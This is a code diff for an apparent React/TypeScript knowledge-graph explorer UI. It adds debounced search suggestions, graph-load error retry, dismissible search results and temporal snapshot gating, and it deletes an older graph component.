if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "hydrating_scene",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Hydrating graph scene and renderer",
|
||||
showGraphBehind: false,
|
||||
}));
|
||||
|
||||
const nodesToMerge = draftAttributes.map(({ id, attributes }) => {
|
||||
const colorKey = colorAccessor(id, attributes);
|
||||
const baseColor = colorForNodeKey(colorKey);
|
||||
const dynamicSize = computeNodeSize(id, degreeByNode, pageRankByNode);
|
||||
return {
|
||||
id,
|
||||
attributes: {
|
||||
...attributes,
|
||||
color: baseColor,
|
||||
baseColor,
|
||||
size: dynamicSize,
|
||||
baseSize: dynamicSize,
|
||||
degree: degreeByNode.get(id) ?? 0,
|
||||
pageRank: pageRankByNode.get(id) ?? 0,
|
||||
glowColor: baseColor,
|
||||
borderColor: GRAPH_THEME.nodes.border,
|
||||
borderSize: 1,
|
||||
} as NodeAttributes,
|
||||
};
|
||||
});
|
||||
|
||||
const edgesToMerge = snapshot.edges.map((edge) => ({
|
||||
id: edge.id,
|
||||
familyId: edge.familyId,
|
||||
source: edge.source,
|
||||
target: edge.target,
|
||||
attributes: {
|
||||
edgeId: edge.id,
|
||||
familyId: edge.familyId,
|
||||
sourceId: edge.source,
|
||||
targetId: edge.target,
|
||||
weight: edge.weight,
|
||||
edgeType: edge.type,
|
||||
properties: edge.properties,
|
||||
size: computeEdgeSize(edge.weight),
|
||||
baseSize: computeEdgeSize(edge.weight),
|
||||
color: GRAPH_THEME.edges.baseColor,
|
||||
baseColor: GRAPH_THEME.edges.baseColor,
|
||||
} as EdgeAttributes,
|
||||
}));
|
||||
|
||||
clearGraph();
|
||||
batchMergeNodes(nodesToMerge);
|
||||
batchMergeEdges(edgesToMerge);
|
||||
prevActiveIdsRef.current = new Set(snapshot.nodes.map((node) => node.id));
|
||||
|
||||
await yieldToMain();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
onLayoutStatusChange({
|
||||
state: layoutSource === "runtime" ? "bootstrapping" : "interactive",
|
||||
source: layoutSource,
|
||||
hasCoordinates,
|
||||
layoutReady: layoutSource !== "runtime",
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
|
||||
onLayoutRunningChange(layoutSource === "runtime");
|
||||
if (selectedNodeId) {
|
||||
sceneRef.current?.focusNode(selectedNodeId);
|
||||
} else {
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
}
|
||||
setGraphVersion((current) => current + 1);
|
||||
if (layoutSource !== "runtime") {
|
||||
onProgressChange(null);
|
||||
} else {
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "stabilizing_layout",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Settling runtime layout",
|
||||
showGraphBehind: true,
|
||||
layoutSource,
|
||||
layoutState: "bootstrapping",
|
||||
}));
|
||||
}
|
||||
onRuntimeReady();
|
||||
}
|
||||
|
||||
void hydrateSnapshot();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [onLayoutRunningChange, onLayoutStatusChange, onProgressChange, onRuntimeReady, selectedNodeId, snapshot, stageSignature]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!selectedNodeId) {
|
||||
onSelectedNodeStateChange(null);
|
||||
return;
|
||||
}
|
||||
|
||||
onSelectedNodeStateChange(buildSelectedNodeState(selectedNodeId));
|
||||
}, [graphVersion, onSelectedNodeStateChange, selectedNodeId, viewMode]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!snapshot || !temporalTime) {
|
||||
return;
|
||||
}
|
||||
|
||||
let cancelled = false;
|
||||
|
||||
const applySnapshot = async () => {
|
||||
try {
|
||||
const response = await fetch(`/api/temporal/snapshot?at=${encodeURIComponent(temporalTime.toISOString())}`);
|
||||
if (!response.ok || cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const data: { active_node_ids: string[]; active_node_count: number } = await response.json();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const nextActiveIds = new Set(data.active_node_ids);
|
||||
requestAnimationFrame(() => {
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const previous = prevActiveIdsRef.current;
|
||||
previous.forEach((id) => {
|
||||
if (!nextActiveIds.has(id) && graph.hasNode(id)) {
|
||||
graph.setNodeAttribute(id, "hidden", true);
|
||||
}
|
||||
});
|
||||
nextActiveIds.forEach((id) => {
|
||||
if (graph.hasNode(id)) {
|
||||
graph.setNodeAttribute(id, "hidden", false);
|
||||
}
|
||||
});
|
||||
|
||||
prevActiveIdsRef.current = nextActiveIds;
|
||||
onActiveNodeCountChange(data.active_node_count);
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
});
|
||||
} catch (error) {
|
||||
if (!cancelled) {
|
||||
console.error("[GraphRuntimeStage] temporal snapshot failed", error);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
void applySnapshot();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [onActiveNodeCountChange, snapshot, temporalTime]);
|
||||
|
||||
useEffect(() => {
|
||||
const socket = new WebSocket(`${socketProtocol()}//${window.location.host}/ws/graph-updates`);
|
||||
|
||||
socket.onmessage = (event) => {
|
||||
try {
|
||||
const message = JSON.parse(event.data);
|
||||
if (message.event === "connection_ack" || message.event !== "graph_mutation") {
|
||||
return;
|
||||
}
|
||||
|
||||
const eventType = message.data?.event_type;
|
||||
const payload = message.data?.payload;
|
||||
if (eventType === "ADD_NODE" && payload?.id) {
|
||||
batchMergeNodes([
|
||||
{
|
||||
id: payload.id,
|
||||
attributes: {
|
||||
label: payload.properties?.content || payload.id,
|
||||
x: Number.isFinite(Number(payload.x ?? payload.properties?.x))
|
||||
? Number(payload.x ?? payload.properties?.x)
|
||||
: deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).x,
|
||||
y: Number.isFinite(Number(payload.y ?? payload.properties?.y))
|
||||
? Number(payload.y ?? payload.properties?.y)
|
||||
: deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).y,
|
||||
nodeType: payload.type,
|
||||
content: payload.properties?.content || payload.id,
|
||||
valid_from: payload.properties?.valid_from ?? null,
|
||||
valid_until: payload.properties?.valid_until ?? null,
|
||||
properties: payload.properties || {},
|
||||
size: 8,
|
||||
color: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
baseColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
baseSize: 8,
|
||||
glowColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
borderColor: GRAPH_THEME.nodes.border,
|
||||
borderSize: 1,
|
||||
},
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
if (eventType === "ADD_EDGE" && payload?.source_id && payload?.target_id) {
|
||||
batchMergeEdges([
|
||||
{
|
||||
id: String(payload.id),
|
||||
familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
|
||||
source: payload.source_id,
|
||||
target: payload.target_id,
|
||||
attributes: {
|
||||
edgeId: String(payload.id),
|
||||
familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
|
||||
sourceId: payload.source_id,
|
||||
targetId: payload.target_id,
|
||||
weight: Number(payload.weight ?? 1),
|
||||
edgeType: payload.type,
|
||||
properties: payload.properties || {},
|
||||
size: computeEdgeSize(Number(payload.weight ?? 1)),
|
||||
baseSize: computeEdgeSize(Number(payload.weight ?? 1)),
|
||||
color: payload.properties?.inferred ? GRAPH_THEME.edges.pathColor : GRAPH_THEME.edges.baseColor,
|
||||
baseColor: GRAPH_THEME.edges.baseColor,
|
||||
},
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
setGraphVersion((current) => current + 1);
|
||||
} catch (error) {
|
||||
console.error("[GraphRuntimeStage] websocket update failed", error);
|
||||
}
|
||||
};
|
||||
|
||||
return () => {
|
||||
socket.close();
|
||||
};
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<SigmaSceneAdapter
|
||||
ref={sceneRef}
|
||||
onNodeSelect={onNodeSelect}
|
||||
graphVersion={graphVersion}
|
||||
graphReady={Boolean(snapshot)}
|
||||
displayGraph={displayResult.graph}
|
||||
displayMeta={displayResult.meta}
|
||||
displayState={displayResult.state}
|
||||
selectedEdgeId=""
|
||||
selectedNodeId={selectedNodeId}
|
||||
focusedNodeId={viewMode === "focused" ? selectedNodeId : ""}
|
||||
activePath={activePath}
|
||||
activePathEdgeIds={EMPTY_PATH}
|
||||
effectsState={STAGE_EFFECTS_STATE}
|
||||
isLayoutRunning={isLayoutRunning}
|
||||
onLayoutRunningChange={onLayoutRunningChange}
|
||||
layoutSource={runtimeLayoutSource}
|
||||
onLayoutStatusChange={onLayoutStatusChange}
|
||||
viewMode={viewMode}
|
||||
/>
|
||||
);
|
||||
},
|
||||
);
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useCallback, useEffect, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
|
||||
import { useCallback, useEffect, useId, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
|
||||
import {
|
||||
Activity,
|
||||
Clock3,
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
RefreshCw,
|
||||
Search,
|
||||
Users,
|
||||
X,
|
||||
ZoomIn,
|
||||
ZoomOut,
|
||||
} from "lucide-react";
|
||||
@@ -39,6 +40,7 @@ import {
|
||||
type GraphPluginToolbarItem,
|
||||
} from "./plugins";
|
||||
import { explorationEffectsShouldLoad, neighborhoodPanelShouldLoad, temporalOverlayShouldLoad } from "./pluginRegistryPredicates";
|
||||
import { shouldFetchTemporalBounds, shouldFetchTemporalSnapshot } from "./temporalLifecyclePredicates";
|
||||
import type { LinkPrediction, PathResponse } from "./GraphInspectorPanel";
|
||||
import type { GraphSceneHandle, GraphSceneRuntime } from "./scene";
|
||||
import type {
|
||||
@@ -146,6 +148,7 @@ const DEFAULT_EFFECTS_STATE: GraphEffectsState = {
|
||||
communitiesEnabled: false,
|
||||
centralityEnabled: false,
|
||||
legendEnabled: false,
|
||||
edgeLabelsEnabled: true,
|
||||
diagnosticsEnabled: false,
|
||||
lensMode: "neighborhood",
|
||||
effectQuality: "bounded",
|
||||
@@ -282,37 +285,168 @@ function SegmentedModeControl({ items }: { items: GraphToolbarItem[] }) {
|
||||
);
|
||||
}
|
||||
|
||||
const SUGGESTION_DEBOUNCE_MS = 250;
|
||||
const SUGGESTION_LIMIT = 6;
|
||||
|
||||
function SearchCommandBar({
|
||||
value,
|
||||
disabled,
|
||||
onChange,
|
||||
onSubmit,
|
||||
onSelectSuggestion,
|
||||
}: {
|
||||
value: string;
|
||||
disabled: boolean;
|
||||
onChange: (value: string) => void;
|
||||
onSubmit: () => void;
|
||||
onSelectSuggestion: (result: SearchResult) => void;
|
||||
}) {
|
||||
const [suggestions, setSuggestions] = useState<SearchResult[]>([]);
|
||||
const [suggestionsOpen, setSuggestionsOpen] = useState(false);
|
||||
const [highlightedIndex, setHighlightedIndex] = useState(-1);
|
||||
const abortRef = useRef<AbortController | null>(null);
|
||||
const debounceRef = useRef<number | null>(null);
|
||||
const listboxId = useId();
|
||||
|
||||
useEffect(() => {
|
||||
if (debounceRef.current !== null) {
|
||||
window.clearTimeout(debounceRef.current);
|
||||
}
|
||||
|
||||
const query = value.trim();
|
||||
if (disabled || !query) {
|
||||
abortRef.current?.abort();
|
||||
setSuggestions([]);
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
debounceRef.current = window.setTimeout(() => {
|
||||
abortRef.current?.abort();
|
||||
const controller = new AbortController();
|
||||
abortRef.current = controller;
|
||||
|
||||
fetch("/api/graph/search", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ query, limit: SUGGESTION_LIMIT }),
|
||||
signal: controller.signal,
|
||||
})
|
||||
.then((response) => {
|
||||
if (!response.ok) {
|
||||
throw new Error(`Search failed with status ${response.status}`);
|
||||
}
|
||||
return response.json();
|
||||
})
|
||||
.then((data: { results?: SearchResult[] }) => {
|
||||
setSuggestions(data.results ?? []);
|
||||
setSuggestionsOpen(true);
|
||||
setHighlightedIndex(-1);
|
||||
})
|
||||
.catch((suggestionError: unknown) => {
|
||||
if (suggestionError instanceof DOMException && suggestionError.name === "AbortError") {
|
||||
return;
|
||||
}
|
||||
setSuggestions([]);
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
});
|
||||
}, SUGGESTION_DEBOUNCE_MS);
|
||||
|
||||
return () => {
|
||||
if (debounceRef.current !== null) {
|
||||
window.clearTimeout(debounceRef.current);
|
||||
}
|
||||
abortRef.current?.abort();
|
||||
};
|
||||
}, [value, disabled]);
|
||||
|
||||
const closeSuggestions = () => {
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
};
|
||||
|
||||
const selectSuggestion = (result: SearchResult) => {
|
||||
setSuggestions([]);
|
||||
closeSuggestions();
|
||||
onSelectSuggestion(result);
|
||||
};
|
||||
|
||||
return (
|
||||
<form
|
||||
className="explore-search-command"
|
||||
role="combobox"
|
||||
aria-expanded={suggestionsOpen && suggestions.length > 0}
|
||||
aria-haspopup="listbox"
|
||||
aria-owns={listboxId}
|
||||
onSubmit={(event) => {
|
||||
event.preventDefault();
|
||||
if (!disabled) {
|
||||
onSubmit();
|
||||
if (disabled) return;
|
||||
if (suggestionsOpen && highlightedIndex >= 0 && suggestions[highlightedIndex]) {
|
||||
selectSuggestion(suggestions[highlightedIndex]);
|
||||
return;
|
||||
}
|
||||
closeSuggestions();
|
||||
onSubmit();
|
||||
}}
|
||||
>
|
||||
<Search size={17} strokeWidth={2.15} aria-hidden />
|
||||
<input
|
||||
value={value}
|
||||
onChange={(event) => onChange(event.target.value)}
|
||||
onFocus={() => {
|
||||
if (suggestions.length > 0) {
|
||||
setSuggestionsOpen(true);
|
||||
}
|
||||
}}
|
||||
onBlur={() => {
|
||||
window.setTimeout(closeSuggestions, 120);
|
||||
}}
|
||||
onKeyDown={(event) => {
|
||||
if (!suggestionsOpen || suggestions.length === 0) return;
|
||||
if (event.key === "ArrowDown") {
|
||||
event.preventDefault();
|
||||
setHighlightedIndex((current) => (current + 1) % suggestions.length);
|
||||
} else if (event.key === "ArrowUp") {
|
||||
event.preventDefault();
|
||||
setHighlightedIndex((current) => (current <= 0 ? suggestions.length - 1 : current - 1));
|
||||
} else if (event.key === "Escape") {
|
||||
event.preventDefault();
|
||||
closeSuggestions();
|
||||
}
|
||||
}}
|
||||
placeholder="Search command, node, or concept"
|
||||
aria-label="Search graph nodes"
|
||||
aria-autocomplete="list"
|
||||
aria-controls={listboxId}
|
||||
aria-activedescendant={highlightedIndex >= 0 ? `${listboxId}-${highlightedIndex}` : undefined}
|
||||
/>
|
||||
<button type="submit" disabled={disabled} aria-label="Search for the current query">
|
||||
Search
|
||||
</button>
|
||||
|
||||
{suggestionsOpen && suggestions.length > 0 ? (
|
||||
<ul id={listboxId} role="listbox" className="explore-search-suggestions" aria-label="Search suggestions">
|
||||
{suggestions.map((result, index) => (
|
||||
<li
|
||||
key={result.node.id}
|
||||
id={`${listboxId}-${index}`}
|
||||
role="option"
|
||||
aria-selected={index === highlightedIndex}
|
||||
data-highlighted={index === highlightedIndex}
|
||||
onMouseDown={(event) => {
|
||||
event.preventDefault();
|
||||
selectSuggestion(result);
|
||||
}}
|
||||
onMouseEnter={() => setHighlightedIndex(index)}
|
||||
>
|
||||
<span className="explore-search-suggestion-label">{result.node.content || result.node.id}</span>
|
||||
<span className="explore-search-suggestion-type">{result.node.type}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
) : null}
|
||||
</form>
|
||||
);
|
||||
}
|
||||
@@ -577,6 +711,7 @@ const HUD_CSS = `
|
||||
gap: 10px;
|
||||
}
|
||||
.explore-search-command {
|
||||
position: relative;
|
||||
min-width: 0;
|
||||
height: 43px;
|
||||
display: grid;
|
||||
@@ -592,6 +727,50 @@ const HUD_CSS = `
|
||||
color: ${GRAPH_THEME.ui.text.muted};
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.045), 0 14px 30px rgba(0,0,0,0.16);
|
||||
}
|
||||
.explore-search-suggestions {
|
||||
position: absolute;
|
||||
top: calc(100% + 6px);
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 30;
|
||||
margin: 0;
|
||||
padding: 6px;
|
||||
list-style: none;
|
||||
max-height: 288px;
|
||||
overflow-y: auto;
|
||||
border-radius: 14px;
|
||||
border: 1px solid ${GRAPH_THEME.ui.control.inputBorder};
|
||||
background: ${GRAPH_THEME.ui.surface.cardStrong};
|
||||
box-shadow: 0 18px 40px rgba(0,0,0,0.32), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.explore-search-suggestions li {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-between;
|
||||
gap: 10px;
|
||||
padding: 8px 10px;
|
||||
border-radius: 10px;
|
||||
cursor: pointer;
|
||||
color: ${GRAPH_THEME.ui.text.body};
|
||||
}
|
||||
.explore-search-suggestions li[data-highlighted="true"] {
|
||||
background: ${GRAPH_THEME.ui.control.hoverBg};
|
||||
}
|
||||
.explore-search-suggestion-label {
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
font-size: 13px;
|
||||
font-weight: 600;
|
||||
}
|
||||
.explore-search-suggestion-type {
|
||||
flex-shrink: 0;
|
||||
font-size: 11px;
|
||||
color: ${GRAPH_THEME.ui.text.subtle};
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.explore-search-command:focus-within {
|
||||
border-color: ${GRAPH_THEME.ui.control.activeBorder};
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.06), 0 0 0 1px ${GRAPH_THEME.ui.control.focusRing}, 0 16px 32px rgba(0,0,0,0.18);
|
||||
@@ -1225,12 +1404,28 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
}));
|
||||
}, []);
|
||||
|
||||
const { data: summary, isLoading, isFetching } = useLoadGraph({
|
||||
const {
|
||||
data: summary,
|
||||
isLoading,
|
||||
isFetching,
|
||||
isError: isGraphLoadError,
|
||||
error: graphLoadError,
|
||||
refetch: refetchGraph,
|
||||
} = useLoadGraph({
|
||||
enabled: true,
|
||||
onGraphReady: applyGraphReadySummary,
|
||||
onProgress: handleLoadProgress,
|
||||
});
|
||||
|
||||
const graphLoadErrorMessage = isGraphLoadError
|
||||
? (graphLoadError instanceof Error ? graphLoadError.message : "Unknown error while loading the graph.")
|
||||
: null;
|
||||
|
||||
const handleRetryGraphLoad = useCallback(() => {
|
||||
setLoadingProgress(null);
|
||||
void refetchGraph();
|
||||
}, [refetchGraph]);
|
||||
|
||||
useEffect(() => {
|
||||
if (isLayoutRunning) {
|
||||
return;
|
||||
@@ -1247,7 +1442,18 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
applyGraphReadySummary(summary);
|
||||
}, [applyGraphReadySummary, graphReady, summary]);
|
||||
|
||||
const canFetchTemporalBounds = shouldFetchTemporalBounds(summary);
|
||||
const canFetchTemporalSnapshot = shouldFetchTemporalSnapshot({
|
||||
debouncedTime,
|
||||
isLoading,
|
||||
summary,
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
if (!canFetchTemporalBounds) {
|
||||
return;
|
||||
}
|
||||
|
||||
let cancelled = false;
|
||||
const loadBounds = async () => {
|
||||
try {
|
||||
@@ -1267,10 +1473,21 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [summary?.nodeCount, summary?.edgeCount]);
|
||||
}, [
|
||||
canFetchTemporalBounds,
|
||||
summary?.nodeCount,
|
||||
summary?.edgeCount,
|
||||
]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!debouncedTime || isLoading) return;
|
||||
if (!canFetchTemporalSnapshot) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!debouncedTime) {
|
||||
return;
|
||||
}
|
||||
|
||||
let cancelled = false;
|
||||
|
||||
const applySnapshot = async () => {
|
||||
@@ -1312,7 +1529,10 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [debouncedTime, isLoading]);
|
||||
}, [
|
||||
canFetchTemporalSnapshot,
|
||||
debouncedTime,
|
||||
]);
|
||||
|
||||
const resolveNodeIdForFocusedMode = useCallback((
|
||||
nodeId: string,
|
||||
@@ -1523,6 +1743,11 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
}
|
||||
}, [searchQuery]);
|
||||
|
||||
const handleClearSearchResults = useCallback(() => {
|
||||
setSearchResults([]);
|
||||
setSearchError("");
|
||||
}, []);
|
||||
|
||||
const handleRunPredictions = useCallback(async () => {
|
||||
if (!inspectableNodeId) return;
|
||||
setIsRunningPredictions(true);
|
||||
@@ -1901,7 +2126,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
viewMode,
|
||||
]);
|
||||
|
||||
const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress));
|
||||
const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress) || isGraphLoadError);
|
||||
const showSettlingStatus = graphReady && loadingProgress?.phase === "stabilizing_layout";
|
||||
const hasGraphContent = Boolean(summary?.nodeCount);
|
||||
const activePath = pathResult?.path ?? EMPTY_PATH;
|
||||
@@ -2764,6 +2989,10 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
disabled={searchDisabled}
|
||||
onChange={setSearchQuery}
|
||||
onSubmit={() => void handleSearch()}
|
||||
onSelectSuggestion={(result) => {
|
||||
setSearchQuery("");
|
||||
focusNode(result.node.id);
|
||||
}}
|
||||
/>
|
||||
<SegmentedModeControl items={viewModeItems} />
|
||||
<div className="explore-toolbelt">
|
||||
@@ -2839,20 +3068,36 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
{searchError ? <div style={{ color: "#ff7b72", fontSize: 12 }}>{searchError}</div> : null}
|
||||
|
||||
{searchResults.length ? (
|
||||
<div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
|
||||
{result.score.toFixed(3)}
|
||||
</div>
|
||||
</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
<div style={{ display: "flex", alignItems: "center", justifyContent: "space-between", gap: 12 }}>
|
||||
<span style={{ color: "#8b949e", fontSize: 12 }}>
|
||||
{searchResults.length} result{searchResults.length === 1 ? "" : "s"}
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleClearSearchResults}
|
||||
style={{ ...secondaryActionButtonStyle, minHeight: 26, padding: "4px 9px", gap: 5 }}
|
||||
aria-label="Dismiss search results"
|
||||
>
|
||||
<X size={12} strokeWidth={2.4} />
|
||||
Dismiss
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
|
||||
{Math.round(result.score)}
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
@@ -2946,6 +3191,8 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
progress={loadingProgress}
|
||||
visible={showLoadingOverlay}
|
||||
showGraphBehind={hasGraphContent || Boolean(loadingProgress?.showGraphBehind)}
|
||||
error={graphLoadErrorMessage}
|
||||
onRetry={handleRetryGraphLoad}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,862 +0,0 @@
|
||||
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState, type CSSProperties } from "react";
|
||||
|
||||
import { GraphLoadingOverlay } from "./GraphLoadingOverlay";
|
||||
import { getGraphLoadTitle } from "./graphLoading";
|
||||
import { useGraphData, useReloadGraphData } from "./useGraphData";
|
||||
import type {
|
||||
ApiNode,
|
||||
GraphLayoutStatus,
|
||||
GraphLoadProgress,
|
||||
GraphPath,
|
||||
GraphSelectedNodeState,
|
||||
GraphStageHandle,
|
||||
GraphViewMode,
|
||||
} from "./types";
|
||||
|
||||
type SearchResult = {
|
||||
node: {
|
||||
id: string;
|
||||
type: string;
|
||||
content: string;
|
||||
properties: Record<string, unknown>;
|
||||
};
|
||||
score: number;
|
||||
};
|
||||
|
||||
type LinkPrediction = {
|
||||
target: string;
|
||||
type: string;
|
||||
label?: string;
|
||||
score: number;
|
||||
};
|
||||
|
||||
type PathResponse = {
|
||||
path: GraphPath;
|
||||
total_weight: number;
|
||||
hop_count: number;
|
||||
distance_band: "direct" | "near" | "mid-range" | "distant";
|
||||
};
|
||||
|
||||
type TemporalBounds = {
|
||||
min?: string | null;
|
||||
max?: string | null;
|
||||
};
|
||||
|
||||
const GraphRuntimeStage = lazy(() =>
|
||||
import("./GraphRuntimeStage").then((module) => ({ default: module.GraphRuntimeStage })),
|
||||
);
|
||||
const TimelinePanel = lazy(() =>
|
||||
import("./TimelinePanel").then((module) => ({ default: module.TimelinePanel })),
|
||||
);
|
||||
|
||||
const HUD_CSS = `
|
||||
.palantir-bg {
|
||||
background:
|
||||
radial-gradient(circle at top, rgba(103, 182, 255, 0.1), transparent 24%),
|
||||
linear-gradient(180deg, #07111d 0%, #02060e 100%);
|
||||
}
|
||||
.palantir-grid {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background-image:
|
||||
linear-gradient(rgba(88, 166, 255, 0.04) 1px, transparent 1px),
|
||||
linear-gradient(90deg, rgba(88, 166, 255, 0.04) 1px, transparent 1px);
|
||||
background-size: 44px 44px;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
opacity: 0.78;
|
||||
}
|
||||
.palantir-vignette {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse at center, transparent 34%, rgba(1, 4, 9, 0.88) 100%);
|
||||
pointer-events: none;
|
||||
z-index: 2;
|
||||
}
|
||||
.hud-scrollbar::-webkit-scrollbar { width: 6px; }
|
||||
.hud-scrollbar::-webkit-scrollbar-track { background: transparent; }
|
||||
.hud-scrollbar::-webkit-scrollbar-thumb { background: rgba(88, 166, 255, 0.25); border-radius: 6px; }
|
||||
.graph-shell-top { position: absolute; top: 18px; left: 18px; right: 18px; z-index: 10; display: flex; justify-content: space-between; align-items: flex-start; gap: 16px; pointer-events: none; }
|
||||
.graph-status-card, .graph-command-card {
|
||||
pointer-events: auto;
|
||||
border: 1px solid rgba(132, 197, 255, 0.12);
|
||||
background: linear-gradient(180deg, rgba(7, 16, 29, 0.86), rgba(10, 22, 39, 0.72)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 50%);
|
||||
box-shadow: 0 18px 42px rgba(0, 0, 0, 0.28), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
backdrop-filter: blur(18px);
|
||||
}
|
||||
.graph-status-card { width: min(420px, 38vw); border-radius: 24px; padding: 16px 18px; }
|
||||
.graph-command-card { width: min(620px, 55vw); border-radius: 24px; padding: 14px; display: flex; flex-direction: column; gap: 12px; }
|
||||
.graph-status-label { display: inline-flex; align-items: center; gap: 8px; color: rgba(160, 191, 223, 0.88); font-size: 11px; font-weight: 800; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
|
||||
.graph-status-label::before { content: ""; width: 7px; height: 7px; border-radius: 999px; background: linear-gradient(135deg, #8ed3ff, #ffb36a); box-shadow: 0 0 12px rgba(142, 211, 255, 0.5); }
|
||||
.graph-status-title { color: #eef5ff; font-size: 20px; font-weight: 800; letter-spacing: -0.04em; margin-bottom: 6px; }
|
||||
